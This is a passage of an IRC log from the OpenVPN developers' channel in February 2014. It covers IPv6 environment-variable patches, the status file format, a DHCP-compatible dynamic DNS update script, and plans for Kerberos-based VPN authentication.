looks like I missed a setenv_del() call for the netbits one 16:31 <@pekster> Oh, typo, that's why it looks off. I just pushed a 2nd commit to that branch that fixes both issues. 16:31 <@pekster> https://github.com/QueuingKoala/openvpn/compare/ipv6-pool-vars 16:31 <@vpnHelper> Title: Comparing OpenVPN:master...QueuingKoala:ipv6-pool-vars · QueuingKoala/openvpn · GitHub (at github.com) 16:42 < kcodyjr> pekster, sorry i've been afk and mainly doing other things today. the 2.25 year old has been demanding. ;) 16:42 < kcodyjr> yes, that seems perfectly proper. "ifconfig_ipv6_local_ip" is the key. i was talking about "ifconfig_ipv6_pool_local_ip" which only seems to legitimately exist in net30 mode. 16:43 < kcodyjr> but wait a minute, brain fart there. 16:44 < kcodyjr> in tap you get netbits, in tun you get ifconfig_ip6_remote_ip. in both cases ifconfig_ipv6_local_ip is the first parameter. 16:46 < kcodyjr> what i care about mainly here is the ifconfig_ip6_pool_remote_ip, representing the address the client answers on. i'm also interested in the ifconfig_ipv6_remote_ip, representing the virtual peer address that's used as a gateway in the server's routing table, because i'm snarfing its reverse lookup to determine the ddns-domainname. it seemed a proper/subtle way of enforcing the reverse domain gets set up right in the first pla 16:46 < kcodyjr> ce. 16:46 < kcodyjr> lemme go read the new patch before i keep talking. 16:47 <@plaisthos> google drive is *crazy* 16:47 <@plaisthos> my tls-auth.key has the mime type of "application/x-iwork-keynote-sffkey" 16:48 <@pekster> kcodyjr: Yea, no worries. I cooked up the first commit (with those 2 problems and all) over lunch, so you got what you got :P 16:48 <@pekster> No rush, I'm just curious if it works (beyond passing the compile test) or if there's something else going on. I learned about the IPv6 netcode just last night, so that part's new to me 16:51 <@pekster> plaisthos: That's.. creative :P 17:38 -!- m-a [mandree@cl-2367.cgn-01.de.sixxs.net] has joined #openvpn-devel 17:38 < m-a> re 17:38 * m-a is wondering if there is a way for a udp multi server to avoid adding routes until the client has connected 17:38 < m-a> if OpenVPN is a fallback VPN 17:43 <@pekster> You probably want #openvpn; this channel is for C development of the openvpn project 17:44 <@pekster> But take a look at --client-connect and do magic there. --route is invalid in a ccd, so do that if you really want the client-owned routes to come & go from the server's table with the client 17:54 < m-a> ok, thanks 19:34 -!- m-a [mandree@cl-2367.cgn-01.de.sixxs.net] has quit [Quit: Leaving.] --- Day changed Sat Feb 08 2014 07:07 * cron2 wonders whether mattock has started testing iOpenVPN... 07:26 < omri> I didn't get an answer on #openvpn so I'm asking here, when using username & password authentication, is it possible to get the username written to the openvpn-status log? 07:38 * cron2 has no idea 07:39 <@cron2> yep 07:39 <@cron2> there's a status_file_version and if that is "2" or "3", you see the username 07:40 <@cron2> --status-version 2 07:43 < omri> cron2: I tried it but it didn't work. I'll give it another try. Thanks 07:43 <@cron2> omri: in which way did it not work? 07:43 <@cron2> no change in file format? no username? 07:44 < omri> cron2: No username. I'm using openvpn 2.2 though 07:44 <@cron2> I think the username addition to status format 2/3 was recentish... let me check 07:44 < omri> what's the deal with the status format? it contains different fields or is it just different style? 07:45 < omri> which format has most data? 07:45 <@cron2> different style, and different fields - 2/3 have section headers that tell readers which column is what, while 1 is fixed and cannot be extended 07:45 < omri> I haven't seen documentation about it 07:45 <@cron2> commit ca18a638aa7cf316611f893127ba44131e57083c 07:45 <@cron2> Author: James Yonan <james@openvpn.net> 07:45 <@cron2> Date: Fri Aug 19 03:15:25 2011 +0000 07:45 <@cron2> "status" management interface command (version >= 2) will now 07:45 <@cron2> include the username for each connected user. This should 07:45 < omri> management interface, not status file? 07:45 <@cron2> this came into 2.3-alpha1, so if you want it, go to 2.3.2 :-) 07:45 <@cron2> same thing 07:46 < omri> I see 07:46 <@cron2> well, "same code, output to management interface client or to file" 07:46 < omri> are the status file formats documented somewhere? 07:46 < omri> yeah got it. 07:47 <@cron2> there's doc/management-notes.txt 07:47 < omri> no format specification there 07:48 <@cron2> ... but it doesn't document the formats :( - so I think src/openvpn/multi.c is it... but since the files have section headers in v2/v3, it's easy to understand 07:49 < omri> yeah the reason it didn't work for me is I simply tried the different formats, but on version 2.2 07:50 < omri> seems like the only difference between 2 and 3 is TSV vs CSV 07:51 < omri> 2 is CSV, 3 is TSV 08:02 <@cron2> yep. The big difference is vs. "1" 11:45 -!- benedikt [~benedikt@unaffiliated/benedikt] has joined #openvpn-devel 15:41 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 15:43 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 15:43 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 15:44 -!- dazo_afk is now known as dazo --- Day changed Sun Feb 09 2014 07:51 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 12:06 -!- kcodyjr [~kcodyjr@c-24-61-134-125.hsd1.ma.comcast.net] has quit [Ping timeout: 250 seconds] 12:18 -!- mattock_afk is now known as mattock 12:31 -!- mattock is now known as mattock_afk 20:56 -!- kcodyjr [~kcodyjr@2002:32a9:2d5:8000::100] has joined #openvpn-devel 20:56 < kcodyjr> pekster, trying that out now. 20:56 < kcodyjr> it does apply against 2.3.2, with some offset. 21:07 < kcodyjr> bugs found. a couple of them. 21:12 < kcodyjr> 1) ifconfig_ipv6_pool_netbits wasn't showing up; ifconfig_ipv6_netbits was taking care of itself anyway. 21:12 < kcodyjr> 2) setenv_sockaddr is appending "_ip6", like it apparently appends "_ip" to v4 addresses. i'm therefore changing the namespace i'm using to suit. 21:13 < kcodyjr> 3) those env vars should get zeroed whether they're present or not. 21:14 < kcodyjr> 4) as discussed earlier, ifconfig_ipv6_pool_local_ip was superfluous anyway because that's strictly a net30 phenomenon. 21:14 < kcodyjr> i'm working up an alternate patch. i'll get back to you tonight. 21:27 < kcodyjr> revised patch against master: http://pastebin.com/WnEub2zk 21:27 < kcodyjr> let you know in a sec if it works. 21:28 < kcodyjr> can we talk about submission target for my ddnsupdate work? 21:31 < kcodyjr> damn. not quite. one more rev coming. 21:32 < kcodyjr> that setenv_sockaddr appending things again. 21:43 < kcodyjr> http://pastebin.com/PVvdiYGf 21:43 < kcodyjr> appears to be working. i'm running through the topologies checking the env. 21:48 -!- kcodyjr [~kcodyjr@2002:32a9:2d5:8000::100] has quit [Excess Flood] 22:02 -!- kcodyjr [~kcodyjr@2002:32a9:2d5:8000::100] has joined #openvpn-devel 22:02 < kcodyjr> sorry. didn't realize i was connected via the tunnel i was messing with. 22:02 < kcodyjr> what's the last thing that made it? 22:04 -!- kcodyjr [~kcodyjr@2002:32a9:2d5:8000::100] has quit [Disconnected by services] 22:05 -!- kcodyjr [~kcodyjr@c-24-61-134-125.hsd1.ma.comcast.net] has joined #openvpn-devel 22:10 < kcodyjr> just in case it didn't make it earlier because i was messing with my tunnel: 22:11 < kcodyjr> pekster, revised patch against master, this one works smoothly. http://pastebin.com/PVvdiYGf 22:11 < kcodyjr> please ping me about making it commit-worthy. 22:26 < kcodyjr> another bug discovered. after a SIGUSR1, ifconfig_local and ifconfig_remote do not appear. probably not the only ones missing. 22:42 < kcodyjr> cool that subnet mode doesn't even take up a peer endpoint address on the server side. so it really can use everything from 1 to 254. but that messes me up; i was relying on the .2's reverse lookup to set the ddns-domainname. i do not want to put configurables directly into the script if i can avoid it. is there a convention for supplemental config files, or a way to pass variables from the openvpn.conf file into the scripts? 23:23 < kcodyjr> is anyone alive right now? got a problem needing some thinking. 23:23 < kcodyjr> specifically, where to put various config elements, and i know that's a touchy subject. 23:42 -!- kcodyjr [~kcodyjr@c-24-61-134-125.hsd1.ma.comcast.net] has quit [Remote host closed the connection] --- Day changed Mon Feb 10 2014 03:23 * cron2 is alive, but obviously too late 03:56 <@plaisthos> yeah. That what I thought too 04:18 -!- mattock_afk is now known as mattock 04:29 -!- mattock is now known as mattock_afk 05:33 -!- mattock_afk is now known as mattock 06:37 <@plaisthos> WTF: http://www.youtube.com/results?search_query=openvpn+android 06:37 <@vpnHelper> Title: openvpn android - YouTube (at www.youtube.com) 06:37 <@plaisthos> OpenVPN on Android appearently is to get free Internet 06:54 <@ecrist> yeah, duh!? you didn't know that? 06:54 <@ecrist> openvpn doesn't just get you free internet on android, either. you can use it to get all of your internet for free 06:54 <@ecrist> even in remote locations where The Man (R) purposely refuses to provide internet to the redneck masses. 09:38 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 09:38 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 09:38 -!- dazo_afk is now known as dazo 10:26 -!- mattock is now known as mattock_afk 12:13 -!- kcodyjr [~kcodyjr@c-24-61-134-125.hsd1.ma.comcast.net] has joined #openvpn-devel 12:51 -!- mattock_afk is now known as mattock 14:02 -!- Netsplit *.net <-> *.split quits: @cron2, ender| 14:47 -!- mattock is now known as mattock_afk 15:16 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 15:16 -!- mode/#openvpn-devel [+o cron2] by ChanServ 16:01 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 17:02 <@vpnHelper> RSS Update - tickets: #372: auth-user-pass-verify passes an empty trailing arg <https://community.openvpn.net/openvpn/ticket/372> 18:20 <@vpnHelper> RSS Update - tickets: #373: --server-poll-timeout crashes with static key config <https://community.openvpn.net/openvpn/ticket/373> 19:29 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has quit [Ping timeout: 245 seconds] 22:13 <@pekster> kcodyjr: I should have time to look at your changes to my commits (on my branch.) I just want to make sure thta the p2p topology works as expected with IPv6 since that is a valid setup. As you pointed out, we may not need netbits since there's no reason a pushed value should differ (although in theory you could do that in tap, but that would be highly abnormal) 22:15 <@pekster> Erm, time tomorrow that should have read 22:51 < kcodyjr> hey pekster 22:51 < kcodyjr> i had actually set it in p2p mode, total brainfart, and it was working. 22:51 < kcodyjr> the two cases i haven't tested are pure ipv6 tunnel, and ipv6 outside socket. 22:52 < kcodyjr> captured the environment into a text file at the beginning of the script for [connect,disconnect][p2p,net30,subnet] 22:53 < kcodyjr> and grepp'ed through making sure the values were all sane 22:54 < kcodyjr> we definitely do not need the ipv6_pool_local variable; it never happens. 22:54 < kcodyjr> "we" do not need to add a netbits variable, some other piece of code somewhere else does that, and i make no judgment to its usefulness or lack thereof. 22:57 < kcodyjr> as to my end of things, these developments have prompted a change to how i handle ddns-level configuration. i have to regard the "normal" case as only having the ifconfig_local (and/or ifconfig_ipv6_local, also already set elsewhere) to identify the server, because there won't be any tunnel addresses, not even on the server side, in subnet mode ipv4, or ever ipv6. 22:57 < kcodyjr> i'm therefore stashing config variables in DNS using key=value TXT records. 22:58 < kcodyjr> which makes it nicely per-instance, since it's logically accepted that a DHCP server (or VPN server) "owns" its reverse address space by virtue of having authority to overwrite existing PTR records. 23:00 < kcodyjr> i also have it loading keys off the disk in /etc/openvpn/ddns/keys/<backwards_domainname> so it both supports per-zone keys, and doesn't need local script tinkering for that either. 23:01 < kcodyjr> the only real remaining thorn in my side is client identity. all i really have to work with is the certificate common_name, and what's in push_peer_info only satisfies some degenerate cases. 23:05 < kcodyjr> so, i'm going to implement a hack using, say hwid=macaddress or dcid=textdhcpclientid or duid=base64duidvalue into a text file, one to a client, on the server side. this will do until i can investigate a patch to openvpn to provide real data. 23:07 < kcodyjr> ideally, i'd like the openvpn binary to fish around on the client to locate the system dhcp/dhcpv6 client's duid cached on the disk/registry somewhere, and forward that along to the server, if push_peer_info is set; i'd also like to allow "push push_peer_info" to work from the server. 23:08 < kcodyjr> is this the right forum to ask if there'd be support for such a modification? --- Day changed Tue Feb 11 2014 01:42 -!- mattock_afk is now known as mattock 02:43 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 02:44 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 02:47 <@cron2> kcodyjr: openvpn-devel list would be best, but for a quick discussion, this channel is good 02:49 <@cron2> kcodyjr: to include arbitrary data in push-peer-info, use "setenv UV_myenv foobar" - everything starting with "UV_" is sent to the server. 02:50 <@cron2> ("setenv" in openvpn.config or --setenv on the CLI, not "in the client environment") 02:50 <@cron2> mac address is sent already :-) 02:51 < kcodyjr> as i said, mac address only helps in certain degenerate cases, namely ipv4-only 02:51 <@cron2> why? 02:52 <@cron2> you suggested "hwid=macaddress" above :-) 02:52 < kcodyjr> an ipv6 lease giver, including the ipv4 phase of a dual stack client, is supposed to use a duid, supplied by the client and treated as an opaque value by the dhcp/vpn server according to rfc4703 02:52 < kcodyjr> or is it 4701. or both. it's getting late. 02:52 <@cron2> mac address for DHCPv6 is not the default, but *is* permitted 02:52 < kcodyjr> but it's supposed to be delivered in the form of a duid 02:53 < kcodyjr> and the server can't make any assumptions about how the client formed it; it may well be based on the mac, with or without a timestamp appended before hashing 02:54 < kcodyjr> also, the duid is supposed to be persistent, ideally even across OS reinstalls, and shared among all interfaces on the system 02:54 <@cron2> yes...? extract HWADDR, name the variable "DUID", ship to dhcpv6? 02:54 <@cron2> we'll definitely *not* have code inside OpenVPN that will go out and look into arbitrary files on the client to find the dhcpv6 duid 02:55 < kcodyjr> i'd imagine it would either be a handful of well known places, or a configurable. i can also see doing it with a plugin that's given a path to where it's found. 02:55 <@cron2> kcodyjr: I'm aware of all the nice properties that a DUID is supposed to have, but I don't see how that is really relevant for the openvpn case...? Maybe I'm not awake enough to understand the use case 02:55 < kcodyjr> the obvious use case is for a laptop that plugs in at the office, then goes home and vpn's in 02:55 <@cron2> plugin would be ok with me, standard code base not so (we're not just "Linux", remember?) 02:55 < kcodyjr> ideally it should be implemented on the others as well, of course. 02:55 <@cron2> kcodyjr: why not use the common name for that? 02:56 < kcodyjr> the client certainly can use its hostname, or any other string, when it generates a duid of type DUID-EN 02:56 <@cron2> kcodyjr: look at tun.c or route.c to see what happens if you include that sort of system dependent stuff - and we're not going there for duid finding 02:56 < kcodyjr> no need to look. 02:56 < kcodyjr> i can well imagine. 02:56 <@cron2> kcodyjr: the client can generate stuff all it wants, but "why should the server care"? The server *knows* who is connecting, by means of the common name 02:57 <@cron2> so I'm still not seeing the use case :-) 02:57 < kcodyjr> because it has to share the writable dns name space with the dhcp server, and therefore has to be able to generate the same DHCID (or ad-hoc TXT in the case of isc-dhcpd) 02:57 < kcodyjr> otherwise, according to rfc, it has to assume the name is in use and may not alter it 02:57 < kcodyjr> think of it as a locking token on a shared database 02:58 <@cron2> so who would write to the DNS server? the client or the server? 02:58 < kcodyjr> and it only works if both parties (dhcp server and openvpn server) have the same token 02:58 < kcodyjr> the openvpn server, which is presumably sitting on the same box / otherwise tied in with the dhcp server at the same location 02:58 < kcodyjr> both writing to the same copy of bind, but with different IP spaces (tun mode) 02:58 <@cron2> aha, and where does the DHCP server get it's request from? 02:58 < kcodyjr> the dhcp client. 02:58 <@cron2> how so? 02:58 <@cron2> are you using tap mode? 02:59 < kcodyjr> no, i am using tun 02:59 < kcodyjr> when the laptop is physically at the office, it either plugs in or wifi's in 02:59 < kcodyjr> if it's an ipv6-enabled system, the dhcp request packets (for both v4 and v6) contain the same duid generated at system install time 02:59 <@cron2> oh, now I see. You want to access the office DHCP/DNS server both for "no vpn" and "vpn" case. That was missing 03:00 < kcodyjr> ahh. yes. sorry if i wasn't communicating clearly. yes, it is late. 03:00 <@cron2> yeah, then you'll need the client duid 03:00 < kcodyjr> the idea is to achieve the same transparency that tap gives for free 03:00 <@cron2> it's early here and I had not enough coffee yet 03:00 < kcodyjr> if i wanted to do this in tap, i'd just assign myself the same ip 03:00 < kcodyjr> i want to get the same effect by always having the same dns name 03:01 <@cron2> understood, and I like that :-) - I do something like that by just overwriting the dns name from openvpn (so when the client connects, I call nsupdate from the openvpn server to kick out everything that was there for the name before, A/AAAA and TXT), and when the client disconnects, openvpn removes the record again - so DHCP can grab it back 03:01 <@cron2> I'm not sure of that is the right way to do it, but it suited our use case 03:01 < kcodyjr> yep, that's what most people are doing. 03:02 < kcodyjr> i am writing an rfc complaint suite that does the same thing while obeying all the rules 03:02 <@cron2> "most people" seem to be doing "no dynamic DNS" :-) 03:02 < kcodyjr> ok, that too. 03:02 < kcodyjr> i meant most that are. i found a few scripts googling around. none used the proper prerequisite sections for locking effects. 03:02 < kcodyjr> none even generated a dhcid, or txt like isc does 03:03 < kcodyjr> so the wide open question, and i have no prejudice how to achieve it, is how to get the necessary data from the client host into the client-connect/disconnect script environment on the server 03:04 <@cron2> either a wrapper script that calls "openvpn --setenv UV_DUID ... --config myconfig", or a plugin, I'd say (though I'm not sure plugins can set environment variables today. If they can't, we might want to add it. Dazo should know, he understands plugsin) 03:05 < kcodyjr> you know what, most distros seem to supply a way to inject environment variables in the init script 03:05 < kcodyjr> maybe UV_DUID could be made a magic value and automatically passed along if it's present 03:06 < kcodyjr> then all the user has to do is set a variable in the right place and... no, wait. 03:06 < kcodyjr> the damn thing is DEFINITELY not printable. 03:06 <@cron2> hex-encode it 03:06 < kcodyjr> have to decide on a nonstandard transport encoding, then. yeah, or base64 which is what it gets in dns. 03:08 <@cron2> base64, yeah 03:08 < kcodyjr> so 4 items the user has to do by hand. 1) find the duid, 2) convert to printable, 3) set it in an environment varible, 4) hack up a wrapper script to pass the variable along 03:08 < kcodyjr> functional. but hardly elegant. 03:08 < kcodyjr> but it is enough that i could start to experiment. 03:09 < kcodyjr> still a fair question, what's the elegant way look like 03:10 < kcodyjr> by the way, abruptly kicking things out is entirely proper in the reverse domain, but the rfc specifies extreme care in the forward domain. 03:11 < kcodyjr> ideally i'd like to be able to use a server-side config to enable this, like "push push-peer-info" which i believe is a forbidden push at the present time 03:16 < kcodyjr> hrm, just realized, the wrapper script is only going to work well on linux, maybe work a little on mac, and not on windows. the two most important users are the boss on windows and the graphics guy on a mac. i think i need a compiled solution. 03:19 <@cron2> "push" happens 5 rounds of negotiation after "push-peer-info" 03:19 < kcodyjr> so there's no way for the server to trigger the push. bummer. 03:20 < kcodyjr> so ok, the minimum client side config is a push-peer-info, or --plugin that i'll have to write if i want duid's to work smoothly. 03:21 < kcodyjr> easy enough to write the ddnsupdate script to kick the connection if the client fails to supply one or the other. and easy enough to configure it not to do that, too. 03:21 < kcodyjr> i really am trying to write for all use cases. 03:23 < kcodyjr> so can a client-side plugin push an environment variable into the server's script space. i've got some reading to do i guess. 03:23 < kcodyjr> but that's a big learning curve to throw into the critical path. i think i should finish writing it, relying on that server-side hack just to show all modes working. then worry about delivering the right data from the client. 05:50 -!- mattock is now known as mattock_afk 05:53 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 245 seconds] 06:44 -!- mattock_afk is now known as mattock 08:09 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 08:14 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 08:14 -!- mode/#openvpn-devel [+o dazo] by ChanServ 08:27 -!- mattock is now known as mattock_afk 09:51 -!- mattock_afk is now known as mattock 12:07 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 12:07 -!- mode/#openvpn-devel [+o pekster] by ChanServ 12:12 -!- pekster_ [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 12:12 -!- mode/#openvpn-devel [+o pekster_] by ChanServ 12:14 -!- pekster_ [~rewt@openvpn/community/support/pekster] has quit [Client Quit] 13:53 -!- kcodyjr [~kcodyjr@c-24-61-134-125.hsd1.ma.comcast.net] has quit [Ping timeout: 260 seconds] 14:40 -!- dazo is now known as dazo_afk 15:35 -!- mattock is now known as mattock_afk 16:21 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 16:23 -!- benedikt [~benedikt@unaffiliated/benedikt] has left #openvpn-devel [] 16:25 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 16:41 <+krzee> through the management interface is there a way to disable all clients from connecting except for certain ones i say? (for testing) 17:10 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Quit: bouncy bouncy] 17:11 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 17:11 -!- mode/#openvpn-devel [+o pekster] by ChanServ 18:03 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 245 seconds] 20:01 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 20:01 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 20:43 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 264 seconds] 21:53 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 21:53 -!- mode/#openvpn-devel [+o andj] by ChanServ 22:10 -!- kcodyjr [~kcodyjr@c-24-61-134-125.hsd1.ma.comcast.net] has joined #openvpn-devel 22:19 < kcodyjr> thought up another use case to put onto my radar. laptop at the office wifi's in, gets a dhcp lease and ddns entry, then vpn's in from within the office network because the site admin doesn't trust wifi. ideally any other machine should "ping laptop" and get the vpn address, and ideally the bare interfaces should get the A record back when the vpn drops. but, i digress, again. ;) 22:21 < kcodyjr> i have managed to confirm that, given identical input, i'm generating the same TXT records as isc-dhcp. i've also tested code to generate DHCID RR's, but presently digging through rfc texts to make sure i get the encoding right. 22:23 < kcodyjr> this has turned into two separate pieces at my end; a Net::DNS::DDNS perl library and an /etc/openvpn/ddns/update script, along with an /etc/openvpn/ddns/keys/ and /etc/openvpn/ddns/clients/ (for manually configuring duid and such). and i'm strongly considering adding a parser to dig id's out of /var/lib/dhcpd/dhcpd.leases, since it seems a common enough use case to have both a dhcp server and openvpn running on a firewall 22:24 < kcodyjr> and i'm thinking maybe i misnamed the library. maybe it's more aptly named Net::DHCP::DDNS than Net::DNS::DDNS, since it implements dhcp-compatible behaviors using ddns packets. opinions? --- Day changed Wed Feb 12 2014 00:51 -!- mattock_afk is now known as mattock 02:22 <@cron2> moin 03:30 <@plaisthos> cron2: moin 04:15 <@cron2> moin 04:15 <@cron2> uh, I said that already :-) 04:15 <@cron2> mattock: there's a question on openvpn-devel about windows installer building... I think that's your field of expertise :-) 04:15 <@mattock> cron2: ah, I'll have a look 04:35 <@mattock> after lunch :) 04:36 <@cron2> you always only think of food :-) 04:37 <@cron2> (enjoy!) 04:45 -!- mattock is now known as mattock_afk 05:00 -!- dazo_afk is now known as dazo 05:36 -!- mattock_afk is now known as mattock 07:50 -!- mattock is now known as mattock_afk 08:29 -!- mattock_afk is now known as mattock 09:46 -!- mattock is now known as mattock_afk 09:56 -!- Netsplit *.net <-> *.split quits: @syzzer 11:50 <@dazo> Respect to the Dutch city planners! https://maps.google.com/?q=Gandalf%2C+5663+Geldrop%2C+Niederlande 11:50 <@vpnHelper> Title: Gandalf, 5663 Geldrop, Niederlande - Google Maps (at maps.google.com) 12:48 -!- dazo is now known as dazo_afk 15:53 <@cron2> oh, nice 18:06 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 260 seconds] 18:54 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 252 seconds] 19:08 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....] 19:08 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in] 19:09 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 19:09 -!- mode/#openvpn-devel [+o raidz] by ChanServ 19:10 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 19:10 -!- mode/#openvpn-devel [+o mattock] by ChanServ 19:32 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 19:54 < kcodyjr> you alive, pekster? 20:15 -!- kcodyjr [~kcodyjr@c-24-61-134-125.hsd1.ma.comcast.net] has quit [Ping timeout: 260 seconds] 20:18 -!- Netsplit *.net <-> *.split quits: riddle 20:23 -!- kcodyjr [~kcodyjr@c-24-61-134-125.hsd1.ma.comcast.net] has joined #openvpn-devel 20:39 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 23:28 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 23:28 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 265 seconds] --- Day changed Thu Feb 13 2014 00:16 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 00:16 -!- mode/#openvpn-devel [+o andj] by ChanServ 02:08 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 02:08 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 05:14 -!- dazo_afk is now known as dazo 09:02 -!- npmccallum [~nathaniel@76.177.249.65] has joined #openvpn-devel 09:03 < npmccallum> Hi everyone! I'm trying to find out if it is possible to pass some additional metadata from the server to the client as a result of authentication. 09:04 < npmccallum> (such as information from LDAP, etc...) 09:05 < npmccallum> I looked in the documentation, but I didn't see any such mechanism. 09:46 <@dazo> npmccallum: you can push setenv-safe, iirc 09:47 < npmccallum> dazo: can this be done dynamically on the server side? 09:48 <@dazo> npmccallum: yeah, should be doable ... either via a plug-in or using the --client-connect script hook 09:49 <@dazo> using that approach, you can create CCD configs on-the-fly ... which then could add the needed push statements with setenv-safe 09:49 < npmccallum> dazo: so what I'd like to do is write something like the ldap plugin, but for krb5 09:49 < npmccallum> and then push the krb5 TGT to the client... 09:50 <@dazo> npmccallum: ahh, I see ... well, that's probably not the best way to do it though ... but I see your idea 09:51 <@dazo> but funny you mention it now ... because I've been challenged by my employer to look at krb5 authentication in openvpn last week ... I'm planning to start digging into that tomorrow (will hopefully be able to work ~1 day a week with this) 09:51 < npmccallum> dazo: who is your employer? 09:52 <@dazo> npmccallum: Red Hat 09:52 < npmccallum> dazo: well then... :) 09:52 < npmccallum> dazo: that makes things easier 09:52 < npmccallum> (my employer is also Red Hat) 09:52 <@dazo> the plan is that a "pre-auth-ticket" (don't remember the exact term now) will be generated on the client side, that ticket will be sent as part of the openvpn auth to the server side, which proxies it to the KDC ... the KDC will then send a ticket back to the client on success ... which means SSO via VPN 09:52 <@dazo> haha 09:53 < npmccallum> exactly 09:54 <@d12fk> but guys, why don't you keep the things separate? 09:54 < npmccallum> d12fk: why would you want to? 09:54 <@plaisthos> yeah. Don't risk helping the other's company 09:55 <@d12fk> 1) make the kdc reachable via vpn 2) kinit on the client 09:55 <@dazo> d12fk: to have SSO ... and newer KDCs support 2 factor auth these days 09:55 <@d12fk> npmccallum: because it's easier 09:55 < npmccallum> d12fk: for the developer, sure 09:56 <@d12fk> how is it not easier for the user? 09:56 <@d12fk> or as easy, better put 09:58 < npmccallum> Because the user has to login to his desktop locally. Then log into VPN. Then do kinit. 09:58 < npmccallum> That is three logins just to get the TGT. 10:03 <@d12fk> you could do ovpn backed krb5 for xdm, limiting that to only one pwd required 10:04 < npmccallum> and force everyone to use xdm... :) 10:05 <@d12fk> it's PAM doning the job really, but i don't want to interfere with redhats plans here, just saying 10:07 <@dazo> d12fk: the thing is that you ideally want to avoid passing the password over the network ... so by having an krb5 aware client and server ... only an encrypted ticket can pass over the network ... by doing that, you'll get a krb TGT back from the KDC in success 10:07 <@dazo> so you get SSO "for free" 10:14 <@d12fk> i'm obviously too stupid to see why the tgt needs to be pushed instead of transferred regularily 10:21 <@dazo> d12fk: no VPN is established and the KDC is not available. You want to authenticate using krb5 passwords. But those passwords should not be transferred over the network (even encrypted), according to the Kerberos methodology ... this is the "basic rules" 10:22 < npmccallum> +1 10:22 <@dazo> d12fk: so by making openvpn client krb5 aware (using some GSSAPI features) ... it can take the password and generate a "pre-auth-ticket" (in lack of better word). It sends this ticket to the KDC via the challenge-response fields in the wire protocol 10:23 <@dazo> that ticket does not contain any password at all, but enough so that the KDC can decode it 10:23 <@dazo> the KDC receives this ticket from the OpenVPN server ... validates it, and on success returns a response it can use later on (I don't think it's a valid TGT yet, haven't read up on all details yet) 10:24 <@dazo> the OpenVPN server understands this is a valid and correct password, and allows to establish the tunnel 10:24 <@dazo> when tunnel is established the real TGT can be establised, over the established VPN tunnel 10:25 <@dazo> which means, you have authenticated the user for OpenVPN usage ... and you have gotten a valid TGT ticket as the end result 10:25 <@d12fk> ah ok so you want the tunnel to be authed with krb5 as well, that's part i was missing 10:25 <@dazo> right 10:26 <@dazo> and if you have a two-factor enabled auth process on the KDC ... you get pretty good security too 11:07 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:07 -!- mode/#openvpn-devel [+o raidz] by ChanServ 11:18 < kcodyjr> what you guys are proposing does call for some serious client-side re-enginnering 11:19 < kcodyjr> and i'm not aware that pam will correctly handle kerberos auth; last i looked it can only test a password against a kerberos database and cache the returned ticket. it can't process a ticket based auth on its own. 11:20 < kcodyjr> however, i'd suggest a change of strategy. kerberos is an inherently wire-secure protocol. just deploy on the zero-trust model; that is, the kerberos servers visible to the public internet. 11:21 < kcodyjr> that way, openvpn can itself authenticate using full featured GSSAPI, and there's really no need for it to deal with ticket forwarding. why, after all, would the server-side daemon need to authenticate as the client to some additional internal network resource? 11:23 < kcodyjr> in fact all that's needed would be to make openvpn gssapi-aware. there's already means to login locally via kerberos, pam_krb5 and pam_sssd, that would cache the tgt. given networkmanager in charge, it would already "see" the user's tgt cache. 11:24 < kcodyjr> oh, and come to think of it, what you're suggesting - getting a "pre-auth ticket" - itself requires packets to fly between client and kerberos kdc. 11:24 < kcodyjr> i don't see making this fly without exposing kerberos publically, which is in fact desirable as well as apparently being required. 12:13 <@dazo> kcodyjr: The keyword here is IAKERB ... but I'm in discussion regarding this with both James Yonan and some core FreeIPA developers, and npmccallum is also involved in the same areas too ... so we have some really bright heads on this one :) 12:14 <@dazo> some brief info ... http://k5wiki.kerberos.org/wiki/Projects/IAKERB 12:14 <@vpnHelper> Title: Projects/IAKERB - K5Wiki (at k5wiki.kerberos.org) 12:14 * cron2 asks to keep anything that needs extra libraries in openvpn to be inside 